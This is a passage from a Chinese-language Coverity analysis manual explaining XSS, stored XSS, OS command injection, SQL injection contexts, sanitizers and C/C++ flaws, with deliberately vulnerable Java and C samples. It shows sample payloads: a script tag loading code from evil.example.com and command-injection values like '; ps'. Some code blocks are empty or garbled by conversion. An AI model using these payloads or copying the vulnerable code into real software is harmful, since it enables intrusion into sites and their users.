36 return "show-blog";
37 }
38 }
```

**show-blog.jsp :**

```
46 <h1>Blog Entry</h1>
47 <div style="display:block; background: #efefef">
For context HTML_PCDATA, expected escaper of kind HTML_ENTITY but none found.
The user-controllable expression "#{blog_content}" is being concatenated
into the output without the proper sanitization.
Page context: HTML_PCDATA.
Unsafe value is added to HTML output here. Remediation for cross-site scripting in EL:
Escaping needs to be done for the detected context , for example:
fn:escapeXml(blog_content)

where fn:escapeXml escapes tainted data (for HTML).
[More Information]
48 ${blog_content}
```

### Note

有关该示例中所用上下文和转义函数的符号名称的描述，请参阅 符号名称 [图标](#)。

安全缺陷的发展：

- `HomeController.java (26)` : Spring Web MVC 框架设置来自 `content POST` 请求参数的字符串 `content`。此值会一直被视为已污染，直至其得到适当的净化。

- HomeController.java (27) : 用 content 的值填充了 model 属性 blog\_content。
- show-blog.jsp (48) : 该值显示在 HTML 中。

攻击者可通过以下示例随意执行潜在的恶意 JavaScript 代码：

```
<script src="http://evil.example.com/bad.js"></script>
```

对于可能的 URL ( 例如 blog.example.com ) , 安全缺陷作为 POST 执行时将如下所示 :

```
POST /webApp/ HTTP/1.1
Host: blog.example.com
...
content=<script%20src="http://evil.example.com/bad.js"></script>
```

安全缺陷被插入到页面中时会如下所示 ( 在攻击者使其他用户与执行 POST 的恶意网页交互时 ) :

```
<div style="display:block; background: #efefef">
<script src="http://evil.example.com/bad.js"></script>
```

### 6.1.4.2.6. 存储的 XSS

存储的 ( 或持久 ) XSS 缺陷是一种 XSS 缺陷 , 在这种缺陷中 , 不可信的用户提供的数据通过 Web 应用程序存储在数据库中 , 然后进行检索并用于构造 HTML 输出 , 而不进行充分验证、转义或筛选。通过在 Web 应用程序存留的数据 ( 例如 , Web 页面注释 ) 中包括任意 JavaScript , 此漏洞允许恶意攻击者针对其他用户访问的 Web 页面执行 JavaScrip。此被污染的数据稍后被检索并为应用程序的其他用户显示在浏览器中 , 在此位置将执行注入的脚本。

在下面的示例中 , 来自 servlet 请求的被污染数据成功地通过 Book 实体类中的字段进入了持久存储的数据中。当此实体字段在程序的任何位置被检索并用于不安全上下文 ( 如在下面的 doGet 请求处理程序中 ) 时 , 将报告 stored\_xss 缺陷。

```
@Entity
class Book {
 String title;
 Book(String title) { this.title = title; }
}

class Test_StoredXSS extends HttpServlet {

 EntityManager entityManager;

 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, IOException {

 entityManager.getTransaction().begin();
 entityManager.persist (new Book (req.getParameter("book-title")));
 entityManager.getTransaction().commit();
 entityManager.close();
 }
}
```

```
public void doGet(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, IOException {

 entityManager.getTransaction().begin();
 List<Book> result = entityManager.createQuery(
 "SELECT b from Book AS b", Book.class).getResultList();

 for (Book book : result) {
 resp.getWriter().println("Book: " + book.title); // Stored XSS defect
 }
 entityManager.getTransaction().commit();
 entityManager.close();
}
```

### 6.1.4.2.7. HTML 上下文

在修复问题时，您需要了解当前上下文、针对该上下文的安全义务以及哪些字符或序列违反这些义务。上下文定义了一部分语言和语法规则。例如，下面的 `TAIITED_DATA_HERE` 文本出现在 HTML 双引号引起的属性上下文中。

```
Some text here
```

当被污染的数据能够绕开上下文时，就可能导致安全问题，例如 XSS 或 SQLi。例如，一旦位于 HTML 双引号引起的属性上下文外部，被插入的数据就可以创建 `onmouseover` 等新属性。此属性名称为 DOM 事件处理程序。浏览器将属性的值解释为 JavaScript，这会产生 XSS 问题。

每种上下文都包含一系列安全义务，其中很多通过不插入在该上下文中具有特殊含义的字符来实现。例如，这可能通过在插入字符之前将字符更改为相应上下文接受的形式的函数来执行。某些上下文不仅要求字符级安全义务。例如，在将字符插入 HTML 属性名称时，不仅不允许插入某些字符，也不应允许插入一部分名称，因为它们可能导致 XSS 问题。

### 6.1.4.2.8. HTML 嵌套上下文

当指定数据段存在多个上下文时，就会出现嵌套上下文。常用 HTML `<a>` 定位元素及其 `href` 属性就是其中一个示例：

```
Click Me!
```

在该示例中，目前存在两种具有针对 XSS 的安全义务的上下文：

- HTML 双引号引起的属性
- URI

存在多种常用库以用于净化第一种上下文用户数据：但是，如果对 URI 上下文不做处理，攻击者可能会在其中执行 XSS 攻击。URI 上下文被视为嵌套在 HTML 双引号引起的属性上下文中。需要先符合其安全义务，然后再符合 HTML 双引号引起的属性上下文的义务。

#### 6.1.4.2.9. 常用 HTML 上下文

下面是经常收到用户提供的数据的常用 HTML 上下文：

- HTML 元素/PCDATA ( 经过分析的字符数据 ) 上下文 , 例如 :

```
TAINTED_DATA_HERE
```

- HTML 属性上下文 ( 单引号和双引号引起 ) ; 例如 , 单引号引起的上下文 :

```

```

- 嵌套在 HTML 属性上下文内的 URI 上下文 ; 例如 , 双引号引起的上下文 :

```
click here.
```

- 嵌套在 HTML<script> 上下文内的 JavaScript 字符串 ( 单引号和双引号引起 ) ; 例如 , 嵌套在原始 HTML 文本内的单引号引起的上下文 :

```
<script>
 var someVariable = 'TAINTED_DATA_HERE';
</script>
```

有关所有 HTML 上下文的信息 , 请参阅 Section 6.4, “XSS 上下文”。

#### 6.1.4.3. 操作系统命令注入

操作系统 (OS) 命令注入是一种问题 , 当被污染的数据 ( 属于不安全的数据 ) 被插入可创建新的操作系统进程或命令的 API 中时就会发生这种问题。被污染的数据可以更改新进程的目的 , 而如果未确保此类数据安全 ( 通过净化数据 ) , 就会导致可在操作系统中执行任意代码。

有关修复信息 , 请参阅 Section 6.6.3, “操作系统命令注入代码示例”。

##### 6.1.4.3.1. 操作系统命令注入风险

操作系统命令注入缺陷可能 :

- 泄露、修改以及删除运行 Web 应用程序的帐户或用户可访问的文件或操作系统资源。
- 直接访问应用程序操作系统可以访问的内部系统 , 例如数据库系统或其他应用程序。这称为渗透。
- 检查操作系统中是否存在可被用于提升权限的其他缺陷。

##### 6.1.4.3.2. 示例 1 : 操作系统命令注入 (Java)

下面的操作系统命令注入示例使用了通过来自请求参数的不安全数据构造命令的 servlet。执行该命令后 , 显示文件列表。

`CommandServlet.java` :

```
9 public class CommandServlet extends HttpServlet {
10
11 protected void doGet(HttpServletRequest request,
12 HttpServletResponse response)
13 throws ServletException, IOException {
14
15 String outputFile = "foo.out";
16 String fileName = "foo.out";
17 String contentType = "text/plain";
18
19 if (request.getParameter("output") != null)
20 outputFile = request.getParameter("output");
21
22 if (request.getParameter("filename") != null)
23 fileName = request.getParameter("filename");
24
25 PrintWriter out = response.getWriter();
26 response.setContentType(contentType);
27 listFile(outputFile, out);
28
29 }
30
31 private void listFile(String outputFile,
32 PrintWriter out)
33 throws RuntimeException {
34
35 try {
36
37 String[] command = new String[3];
38 command[0] = "/bin/bash";
39 command[1] = "-c";
40 command[2] = "ls -l " + outputFile;
41 Process proc = Runtime.getRuntime().exec(command);
42
43 }
44 }
45 }
```

### 安全缺陷的发展：

- CommandServlet.java (19)：从 HTTP 请求中获取了参数 output。此值会一直被视为已污染，直至其得到适当的净化。
- CommandServlet.java (26)：将被污染的值作为参数传递给了 listFile() 方法。
- CommandServlet.java (40)：参数值被连接到传递给 Bash 命令语言解释器的参数字符串。
- CommandServlet.java (41)：执行了被污染的命令。

攻击者能够通过以下代码更改命令的目的：

```
; ps
```

对于可能的 URL（例如 blog.example.com， servlet 部署在 /blog/list 中），安全缺陷将如下所示：

```
http://blog.example.com/blog/list?output=%3B%20ps
```

④ 注意：

有效负载已进行 URL 编码，因此 Web 应用程序不会直接解释分号和空格。

### 6.1.4.3.3. 示例 2：操作系统命令注入 (Java)

下面的操作系统命令注入示例使用了通过来自请求参数的不安全数据构造命令的 servlet。执行该命令后，显示进程列表。

**CommandServlet.java :**

```
9 public class CommandServlet extends HttpServlet {
10
11 protected void doGet(HttpServletRequest request, HttpServletResponse response)
12 throws ServletException, IOException {
13
14 String outputFile = "foo.out";
15 String fileName = "foo.out";
16 String contentType = "text/plain";
17
18 if (request.getParameter("output") != null)
19 outputFile = request.getParameter("output");
20
21 if (request.getParameter("filename") != null)
22 fileName = request.getParameter("filename");
23
24 PrintWriter out = response.getWriter();
25 response.setContentType(contentType);
26 listFile(outputFile, out);
27 findFile(fileName, out);
...
63 private void findFile(String fileName, PrintWriter out)
64 throws RuntimeException {
65
66 try {
67
68 String command = "/usr/bin/find . -name " + fileName;
69 Process proc = Runtime.getRuntime().exec(command);
...
}
```

安全缺陷的发展：

- CommandServlet.java (22) : 从 HTTP 请求中获取了参数 filename。此值会一直被视为已污染，直至其得到适当的净化。
- CommandServlet.java (27) : 将被污染的值作为参数传递给了 findFile() 方法。
- CommandServlet.java (68) : 参数值被连接到传递给 find 命令的参数字符串。
- CommandServlet.java (69) : 执行了被污染的命令。

攻击者能够通过以下代码更改命令的目的：

```
* -exec ps ;
```

对于可能的 URL (例如 `blog.example.com` , servlet 部署在 `/blog/list` 中 ) , 安全缺陷将如下所示 :

```
http://blog.example.com/blog/list? filename=*%20-exec%20ps%20%3B
```

 注意 :

有效负载已进行 URL 编码 , 因此 Web 应用程序不会直接解释分号和空格。

### 6.1.4.3.4. 常见操作系统命令注入上下文

在修复操作系统命令注入缺陷时 , 您需要了解数据被插入的上下文。会收到用户提供的数据的常见操作系统命令注入上下文包括以下几种 :

- 命令行选项 , 例如 :

```
"someCommand -c -f " + TAIITED_DATA_HERE;
```

- 命令 , 例如 :

```
TAITED_DATA_HERE + " -c -f ouput.txt";
```

有关所有操作系统命令注入上下文的信息 , 请参阅 Section 6.5, “操作系统注入命令上下文”。

#### 6.1.4.3.4.1. 命令和不安全的命令

应用程序在引用命令时通常使用常量值。因此 , 该上下文往往不会收到被污染的数据。但是 , 如果被注入的数据可能产生不利影响 , 需要检查和理解该命令。最重要的是 , 您需要了解该命令是否可以通过选项或选项字符串执行其他命令。

例如 :

```
"find -name " + TAIITED_DATA_HERE;
```

如果被污染的数据结尾处包含 `-exec` 参数和分号 ( ; ) , 则可能通过 `find` 中的功能执行其他命令。该分析可将类似于 `find` 的命令识别为不安全。应该手动审核未被识别的命令 , 以便确定包含不安全的字符或参数是否也可能更改命令的目的。

#### 6.1.4.3.5. 修复示例 : 操作系统命令注入

一旦您了解了用户数据被插入了什么上下文 , 就可以确定最有效的修复策略。有关不同修复策略的详细信息 , 请参阅 Section 6.1.5, “修复”。

### 6.1.5. 修复

可行的修复方法需要了解不安全数据输出的上下文、适合相应上下文中的数据的净化方法以及代码中使用的技术。Coverity 根据这些属性以及可在分析代码期间获取的有关程序的其他信息生成可行的修复方法，这可为您提供快速、准确修复问题所需的信息。

### 6.1.5.1. 净化器 (Sanitizer)

净化器 (Sanitizer) 是指适用于履行针对某些上下文的安全义务（通过转义数据、筛选或移除数据或者验证数据是否可安全使用）的用户数据的函数或方法。

- 转义函数：

某些上下文允许插入特殊字符，前提是通过某种方式更改了此类字符。Coverity 将转义函数定义为可修改被污染的数据（通过将一部分字符更改为不同形式）的函数。如果被污染的字符经过转义，则符合针对指定上下文的安全义务。例如，HTML 转义函数经常将小于号 (<) 更改为 &lt;（HTML 字符引用）。此形式符合很多不同 HTML 上下文的安全义务。但是，这种形式不适合 JavaScript 等其他上下文。将专用于一种上下文的转义函数应用到另一种上下文可能会导致问题。

- 筛选器：

Coverity 将筛选器定义为可从被污染的数据中移除一部分字符的函数。某些上下文不具有转义形式的概念。要符合此类上下文的安全义务，您可能需要使用筛选器来移除这些特殊字符。但是，错误使用或编码筛选器可能导致无法符合指定上下文的安全义务，从而导致发生问题。

- 验证器：

Coverity 将验证器定义为可确定被污染的数据是否包含某些字符的函数。与筛选器或转义函数不同，验证器不修改被污染的数据。由于符合某些上下文的安全义务的复杂性，可能更适合使用验证器来确保数据符合特定标准（例如安全标准）。

### 6.1.6. 技术和修复

您使用的技术类型可帮助确定您需要的修复建议的类型。对于 SQLi，常用的修复策略是将 SQL 语句参数化，然后将被污染的数据作为参数传递。您使用的技术可确定要使用的参数化类型。例如，如果检测到 `java.sql.Statement`，会建议您使用 `java.sql.PreparedStatement` API 并使用适当的 JDBC 规则执行参数化。

### 6.1.7. Coverity 净化器 (Sanitizer) 库

Coverity 提供了净化器 (Sanitizer) 的开源库：

- Java [↗](#)
- C# [↗](#)

此类库包括适用于其他库通常不支持的复杂上下文的净化器 (Sanitizer)，例如 CSS 字符串和 JavaScript 正则表达式。

#### 6.1.7.1. LDAP 净化器 - C#

Coverity 不支持用户编写的用于 LDAP（轻量目录访问协议）注入的净化器。对于 C#，Coverity 支持来自 Microsoft AntiXSS 库的以下函数作为 LDAP 净化器：

- Microsoft.Security.Application.Encoder::LdapEncode(System.String)



Note

LdapEncode() 方法已废弃；请使用 LdapFilterEncode() 方法。

- Microsoft.Security.Application.Encoder::LdapFilterEncode(System.String)

- Microsoft.Security.Application.Encoder::LdapDistinguishedNameEncode(System.String)

- Microsoft.Security.Application.Encoder::LdapDistinguishedNameEncode(System.String, System.Boolean, System.Boolean)

### 6.1.8. 参考

下面的链接提供了关于 Web 应用程序问题（包括 SQLi 和 XSS）的更多信息：

- CWE 漏洞库 [🔗](#)
- Web 应用程序安全联盟 [🔗](#)
- OWASP XSS 速查表 [🔗](#)

## 6.2. C/C++ 应用程序安全

Coverity Analysis 提供了一套安全检查器，也可以检查代码中是否存在与质量相关的缺陷。虽然所有缺陷可能都存在安全隐患，但这些检查器会特别查找潜在的安全问题。

Coverity 安全检查器可查找可能导致安全缺陷的很多编码缺陷。这些缺陷包括不当的堆栈或堆访问、整数溢出、缓冲区溢出、竞态条件、UNIX 和 Windows 特定程序缺陷、不安全的编码做法以及对用户可控制字符串的不当管理。这些缺陷可能导致内存损坏、权限提升、未经授权读取内存或文件、进程或系统崩溃和拒绝服务。

虽然不断与不可信的外部环境交互，但现代应用程序和系统必须保持高度的可靠性和可用性。从外部环境获取的数据必须被认为是不安全的，直至其经过扫描和验证。Coverity 可分析和跟踪不可信的可疑数据，以精确找到本地或全局安全漏洞。

Coverity 安全检查器在其配置、分析和报告中使用以下术语：

- 源：外部数据可能来自各种来源：文件、环境变量、网络数据包、命令行参数、用户空间到内核空间内存等。
- 被污染的数据：尚未经过扫描和验证的外部数据。
- 净化：扫描和验证被污染的数据的过程。
- 数据消费者：必须加以保护防止出现被污染数据的函数，例如内存分配器和某些系统调用。

在参数（例如 `memcpy`）之间或通过返回值（例如 `atoi`）传输被污染的数据的函数被视为传递污染指定接口。

您可以通过 cov-make-library ( 请参阅Section 6.7, “安全命令” ) 命令提高安全检查器的有效性。虽然安全检查器随附了大量适用于来自常用库的已知函数的模型 ( Win32、POSIX 和 STL ) , 但 Coverity 建议您在可以跟踪已知安全属性的情况下检查您的代码 , 并建议您使用 Coverity 原语创建自定义模型。您应该检查的代码包括应用程序从文件和网络中读取、与用户交互或通常会遇到和处理的任何外部 ( 不可信 ) 数据。为函数的安全特定属性创建自定义模型 , 不但可轻松防止漏报 , 同时还能提高所发现缺陷的质量。

标准的 API 模型 ( POSIX、Win32 和 STL ) 位于 Coverity Analysis 安装目录中。

Coverity 分析可在被污染的数据通过系统时对其进行跟踪 , 并会报告此类数据被发送到数据消费者的情况。Coverity Analysis 随附了关于某些源和数据消费者函数 ( 例如 open 和 strcpy ) 的信息。Coverity Analysis 可检查五种类型的输入验证漏洞。如下图所示 , 这些检查器检测到多个会被通过各种方式利用的漏洞。

Figure 6.1. 被污染的数据流和可能的影响

### 6.2.1. C/C++ 安全漏洞 : 不正确的逻辑 ( 示例 1 )

如果相关代码被用于实施安全策略 , 则引入错误逻辑的一般程序缺陷可能导致漏洞。Coverity 提供了多种可查找此类漏洞的 C/C++ 安全检查器。这些检查器包括 BAD\_COMPARE 、 CONSTANT\_EXPRESSION\_RESULT 、 COPY\_PASTE\_ERROR 、 MISSING\_BREAK 和 NO\_EFFECT 。例如 , BAD\_COMPARE 检查器可报告原本想要检查函数返回值 , 但实际上检查了函数地址的情况。

在下面的示例中 , 程序的正常行为是仅允许超级用户使用选项 -configure 。由于 geteuid==0 始终评估为 false , 因此任何用户都可以使用 -configure 选项。

示例 ( 来自真实的源代码 ) :

```
if (!strcmp(argv[i], "-configure"))
{
 if (getuid() != 0 && geteuid == 0) {
 ErrorF("The '-configure' option can only be used by root.\n");
 exit(1);
 }
 xf86DoConfigure = TRUE;
 xf86AllowMouseOpenFail = TRUE;
 return 1;
}
```

来源 : <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0745> ↗

### 6.2.2. C/C++ 安全漏洞 : 不正确的逻辑 ( 示例 2 )

在下面的示例中 , 如果 memcmp 返回了可以被 256 整除的数值 , check\_scramble 将返回 0 , 并且程序会认为已通过该检查。结果就是攻击者可通过尝试大约 256 个随机密码绕过密码检查。BAD\_COMPARE 检查器可查找存在此类问题的情况。

```
char
```

```
check_scramble(const char *scramble_arg, const char *message,
 const uint8 *hash_stage2)
{
 ...
 return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);
}
```

该示例使用了不正确的逻辑，因为目的是检查 `memcmp` 是否返回了 0。也就是说，存在错误的行原本应该是 `memcmp(...)!=0`，但编写的代码作用类似于 `(memcmp(...) % 256)!=0`，其中 `%` 是余数运算符。

### 6.2.3. C/C++ 安全漏洞：双重释放缺陷

双重释放缺陷（由 USE\_AFTER\_FREE 检查器报告）可用于利用由内存分配器管理的内部记账数据，以便有目的地重写内存。在下面的示例（来自 <http://cwe.mitre.org/data/definitions/415.html>）中，攻击者可能能够通过伪装的参数更改程序的行为。

```
#include <stdio.h>
#include <unistd.h>

#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {
 char *buf1R1;
 char *buf2R1;
 char *buf1R2;

 buf1R1 = (char *) malloc(BUFSIZE2);
 buf2R1 = (char *) malloc(BUFSIZE2);

 free(buf1R1);
 free(buf2R1);

 buf1R2 = (char *) malloc(BUFSIZE1);
 strncpy(buf1R2, argv[1], BUFSIZE1-1);

 free(buf2R1);
 free(buf1R2);
}
```

具体的攻击详细信息主要取决于所使用内存分配器的实现。有关面向 GNU libc 中的实现的可行技术的深度讨论，请参阅 [The Malloc Maleficarum](#)。

## 6.3. SQLi 上下文

### 6.3.1. SQL 代码

一般说来，要修复 SQL 注入问题，您需要执行以下一项或多项操作：

- 针对使用的技术正确地参数化语句，将值绑定到语句内的参数。
- 根据已知的安全值验证用户提供的值。将常量值连接到 SQL 语句。
- 键入安全类型（例如整数）的转换，并将值附加到 SQL 语句中。

### 6.3.2. SQL 标识符

SQL 标识符（例如关键字、函数等）通常无法参数化。如果需要将标识符动态插入到语句中，其值应该来源于常量字符串或枚举。可以将用户提供的值与已知的安全值进行比较以便进行有条件地选择，并且将常量值连接到语句。

注入示例：

```
String queryString = "SELECT * FROM Employee WHERE Employee.firstName
= ? " + TAIANTED_DATA_HERE + " by Employee.lastName";
```

针对特定技术提供修复建议和代码的示例：

- JDBC：请参阅Section 6.6.1.1，“SQL 标识符 JDBC”。
- Hibernate HQL：请参阅Section 6.6.1.2，“SQL 标识符 HQL”。
- Hibernate SQL：请参阅Section 6.6.1.3，“SQL 标识符 Hibernate 本机查询”。
- JPA JPQL：请参阅Section 6.6.1.4，“SQL 标识符 JPQL”。
- JPA SQL：Section 6.6.1.3，“SQL 标识符 Hibernate 本机查询”。

### 6.3.3. SQL IN 语句

SQL IN 子句给修复带来了困难挑战。JDBC 等传统技术未提供直接将可变数量的值绑定到语句的方法。此问题可导致将值直接连接到语句的反面模式。

修复 IN 子句内的 SQL 注入有以下两种常用策略：

- 在所有情况下，都为被污染的值（有时可能是未被污染的值）创建 List。
- 对于支持技术（JPA 2.0 JPQL、Hibernate HQL 等），直接传入此 List，并绑定到已命名参数。
- 对于类似于 JDBC 的其他技术：
  1. 创建包含参数的 SQL 片段（数量与 List 成员数相同）。
  2. 将此值连接到 SQL 语句。
  3. 对被污染的 List 进行迭代，将值绑定到语句中的参数。

注入示例：

```
String query = "SELECT * FROM Employee WHERE Employee.number in
```

```
(" + TINTED_DATA_HERE + " , 2) " ;
```

针对特定技术提供修复建议和代码的示例：

- JDBC：请参阅Section 6.6.1.6, “SQL 子句：JDBC”。
- Hibernate HQL：请参阅Section 6.6.1.7, “SQL 子句：HQL”。
- Hibernate SQL：请参阅Section 6.6.1.8, “SQL 子句：Hibernate 本机查询”。
- JPA JPQL：请参阅Section 6.6.1.9, “SQL 子句：JPQL”。
- JPA SQL：请参阅Section 6.6.1.10, “SQL 子句：JPA 本机查询”。

#### 6.3.4. SQL 数据值

SQL API ( JDBC、Hibernate 等 ) 允许将不同类型的数据参数化。用于 SQL 字符串、整数或其他数据值的 API 是其中最常见的一部分示例。要通过字符串和数据值修复 SQL 注入，可将 SQL 语句参数化，并将值绑定到语句内的参数。

注入示例：

```
String queryString = "SELECT * FROM my_table WHERE userid = ?
AND name = '" + TINTED_DATA_HERE + "'";
```

针对特定技术提供修复建议和代码的示例：

- JDBC : Section 6.6.1.11, “SQL 字符串：JDBC”。
- Hibernate HQL : Section 6.6.1.12, “SQL 字符串：HQL”。
- Hibernate SQL : Section 6.6.1.13, “SQL 字符串：Hibernate 本机查询”。
- JPA JPQL : Section 6.6.1.14, “SQL 字符串：JPQL”。
- JPA SQL : Section 6.6.1.15, “SQL 字符串：JPA 本机查询”。

#### 6.3.5. SQL 字符串

请参阅“Section 6.3.4, “SQL 数据值””。

#### 6.3.6. SQL LIKE 字符串

SQL LIKE 子句使用特殊字符执行通配符匹配。要修复这两种 SQL 注入并保留查询的含义，请执行以下步骤：

1. 将该 SQL 语句参数化。
2. 转义 LIKE 查询 ‘%...%’ 中使用的字符串内的百分号 ( %， U+0025 ) 和下划线 ( \_， U+005F ) 字符。

3. 将值绑定到 `LIKE` 子句内的参数。

注入示例：

```
String queryString = "SELECT * FROM my_table WHERE userid = ?
AND name LIKE '%' + TAINTED_DATA_HERE +"%'";
```

针对特定技术提供修复建议和代码的示例：

- JDBC：请参阅Section 6.6.1.16，“SQL 字符串：JDBC”。
- Hibernate HQL：请参阅Section 6.6.1.17，“SQL 字符串：HQL”。
- Hibernate SQL：请参阅Section 6.6.1.18，“SQL 字符串：Hibernate 本机查询”。
- JPA JPQL：请参阅Section 6.6.1.19，“SQL 字符串：JPQL”。
- JPA SQL：请参阅Section 6.6.1.20，“SQL 字符串：JPA 本机查询”。



Note

Coverity 提供了 Section 6.4.25，“净化器 (Sanitizer)”，此转义库适用于 SQL `LIKE`，可转义百分号和下划线字符。

此转义函数不能防止 SQL 注入问题。它通过仅转义 `LIKE` 子句中具有特殊含义的字符来保留 `LIKE` 查询的含义。

### 6.3.7. SQL 表名称

SQL 标识符（例如表格名称、列等）通常无法参数化。如果需要将标识符动态插入到语句中，其值应该来源于常量字符串或枚举。可以将用户提供的值与常量值进行比较以便进行有条件地选择，并且将常量值连接到语句。

针对特定技术提供修复建议和代码的示例：

- JDBC：请参阅Section 6.6.1.21，“SQL 表名称：JDBC”。
- Hibernate HQL：请参阅Section 6.6.1.22，“SQL 表名称：HQL”。
- Hibernate SQL：请参阅Section 6.6.1.23，“SQL 表名称：Hibernate 本机查询”。
- JPA JPQL：请参阅Section 6.6.1.24，“SQL 表名称：JPQL”。
- JPA SQL：请参阅Section 6.6.1.25，“SQL 表名称：JPA 本机查询”。

## 6.4. XSS 上下文

### 6.4.1. HTML：原始文本块

HTML5 将原始文本上下文 定义为以下标记之间的内容：

- <script>
- <style>



### Note

请注意：这些上下文包括一些子上下文。

注入示例：

```
<script>
 var = 'TAINTED_DATA_HERE';
</script>
```

父上下文是带有子上下文（JavaScript 单引号引起的字符串）的 HTML 原始文本（脚本）（请参阅 Section 6.4.13，“JavaScript：单引号引起的字符串”）。

理想的安全部通过转义、筛选或验证阻止插入与开始标记名称匹配的结束标记。这会结束原始文本上下文，并创建到新上下文的过渡。必须通过嵌套（子）上下文支持的机制执行转义。如果嵌套上下文无法支持转义，应该通过筛选将此类值移除。

最低安全部通过转义阻止插入小于号（<，U+003C）和斜杠（/，U+002F）。必须通过嵌套（子）上下文支持的机制执行转义。如果嵌套上下文无法支持转义，您需要避免向此类上下文中插入被污染的数据。例如，常用 JavaScript 字符串转义函数通过反斜杠转义对斜杠字符进行转义。这会生成一连串<\/，使其无法结束上下文。

### 6.4.2. HTML：脚本块

请参阅“Section 6.4.1，“HTML：原始文本块””。

### 6.4.3. HTML：RCDATA 块

HTML5 将 RCDATA 上下文 定义为以下标记之间的内容：

- <textarea>
- <title>

注入示例：

```
<title>Blog of TAINTED_DATA_HERE</title>
```

理想的安全部通过转义为 HTML 字符引用、筛选或验证阻止插入与开始标记名称匹配的结束标记，因为此类标记会结束上下文并进入新的上下文。

最低安全部通过转义阻止插入小于号（<，U+003C）。如果使用了小于号，常用 HTML 转义函数会将小于号编码成字符引用（&lt;），使其无法结束上下文。

#### 6.4.4. HTML : PCDATA 块

HTML5 不直接使用术语 PCDATA。该标准使用术语常规元素 [¶](#)。此上下文包括大部分其他元素中的灵活内容。

注入示例：

```
Here are the results of TAIRED_DATA_HERE
```

常规元素的范围不存在理想的安全义务，因为各个元素可能具有更具体的要求。

最低安全义务通过转义为 HTML 字符引用阻止插入小于号（`<`，U+003C）和Section 6.4.22，“不明确的 & 符号”（`&`，U+0026）。如果使用了小于号和 & 符号，常用 HTML 转义函数会将小于号和 & 符号编码成字符引用（分别为 `&lt;` 或 `&amp;`），使其无法结束上下文。

Coverity 提供了 Section 6.4.25，“净化器 (Sanitizer)”，此转义库适用于符合理想安全义务的 HTML。

#### 6.4.5. HTML : 单引号引起的属性

HTML5 定义了单引号引起和双引号引起的属性 [¶](#)。

- 单引号引起的属性：'，U+0027
- 双引号引起的属性："，U+0022

注入示例：

```
<div xml:id="TAINTED_DATA_HERE">
 Testing blog
</div>
```

理想的安全部通过转义为 HTML 字符引用阻止插入匹配引号字符或不明确的 & 符号（`amp;`，U+0026）。大部分常用 HTML 转义函数都会强制执行这些义务。（请参阅Section 6.4.22，“不明确的 & 符号”）。

Coverity 提供了 Section 6.4.25，“净化器 (Sanitizer)”，此转义库适用于符合最低安全义务的 HTML 属性字符串。

#### 6.4.6. HTML : 双引号引起的属性

请参阅“Section 6.4.5，“HTML : 单引号引起的属性””。

#### 6.4.7. HTML : 无引号的 URI

HTML5 将无引号的属性上下文 [¶](#) 定义为使用零个或多个空格字符而不是引号字符分隔的 HTML 属性内容（请参阅 Section 6.4.23，“HTML : 空白字符”）。

注入示例：

```
<div xml:id="TAINTED_DATA_HERE">
 Testing blog
</div>
```

理想的安定义务通过转义为 HTML 字符引用、筛选或验证阻止插入下面所列的字符。这会结束无引号的上下文，进入多种不同的上下文，例如属性名称或常规元素/PCDATA。

- 空格字符：请参阅Section 6.4.23，“HTML：空白字符”。
- 双引号（ "， U+0022 ）
- 不明确的 & 符号（ &， U+0026 ）：请参阅Section 6.4.22，“不明确的 & 符号”
- 单引号（ '， U+0027 ）
- 小于号（ <， U+003C ）
- 斜杠（ 斜线， /， U+002F ）
- 等于号（ =， U+003D ）
- 大于号（ >， U+003E ）
- 重音符（ `， U+0060 ）

由于此类上下文的复杂性，因此不存在最低安定义务。应该避免此类上下文，并重构为双引号引起的上下文，例如：

```
<div xml:id="
 TAINTED_DATA_HERE"> ...
```

您还应该遵循关于 Section 6.4.6，“HTML：双引号引起的属性”的指导。建议不要使用单引号引起的上下文，因为很多 URI 编码器不会编码位于查询中的单引号。

### 6.4.8. HTML：注释

HTML5 将注释上下文 [\[5\]](#) 定义为 `<!--` 与 `-->` 序列之间的任何内容。

注入示例：

```
<!-- TAINTED_DATA_HERE -->
```

理想的安定义务通过转义为 HTML 字符引用阻止插入下面所列的字符或序列。

- 以 `>`（大于号， U+003E ）开头
- 以 `->`（连字符， U+002D，后接大于号， U+003E ）开头。
- 包含 `--`（两个连字符， U+002D ）
- 以 `-`（连字符， U+002D ）结尾

最低安全义务通过转义阻止插入 > ( 大于号 , U+003E )。如果使用了大于号，常用 HTML 转义函数会将大于号编码成字符引用 ( 即转换为 &gt; ; )，使其无法结束上下文。

#### 6.4.9. HTML : 属性名称

HTML5 定义了属性名称 [语法](#)。

注入示例：

```
<div TAI
NITED_DATA_HERE="bar">
 Testing blog
</div>
```

理想的安全义务阻止插入下面所列的字符、筛选或验证相应内容。此上下文不支持任何转义。

- Null 、 U+0000
- 空格字符：请参阅Section 6.4.23, “HTML : 空白字符”。
- 控制和未定义的字符：请参阅Section 6.4.24, “HTML : 控制字符或未定义的 Unicode 字符”。
- 双引号 ( " , U+0022 )
- 单引号 ( ' , U+0027 )
- 斜杠 ( 斜线 , / , U+002F )
- 等于号 ( = , U+003D )
- 大于号 ( > , U+003E )

其他理想的安全义务要求避免使用某些属性名称，包括通过可能不安全的方式解释属性值的名称，例如 href、on DOM 事件处理程序、src 等。

由于此类上下文的复杂性，因此不存在最低安全义务。应该避免此类上下文。如果需要将被污染的值插入此上下文，则只允许预定义的值列表，或向已知的安全前缀追加筛选后的字符。

#### 6.4.10. HTML : 标记名称

HTML5 定义了标记名称 [语法](#)。

注入示例：

```
<TAI
NITED_DATA_HERE>
 Testing blog</TAI
NITED_DATA_HERE>
```

理想的安全义务包括仅插入以下字符。此上下文不支持任何转义。

- 0-9 ( U+0030 到 U+0039 )
- A-Z ( U+0041 到 U+005A )

- a-z ( U+0061 到 U+007A )

其他理想的安全义务要求避免使用某些标记名称。这包括可将上下文更改为可能引入 XSS 缺陷的上下文的名称，例如 script、a 等。

由于此类上下文的复杂性，因此不存在最低安全义务。应该避免此类上下文。如果需要将被污染的值动态插入此上下文，则只允许预定义的值列表，或向已知的安全前缀追加筛选后的字符。

#### 6.4.11. URI

URI 上下文包括多种子上下文。RFC 3986 [提供](#) 提供了关于其中每种子上下文的详情。

 Note

此上下文始终包括一些父上下文。

注入示例：

```
Click me!
```

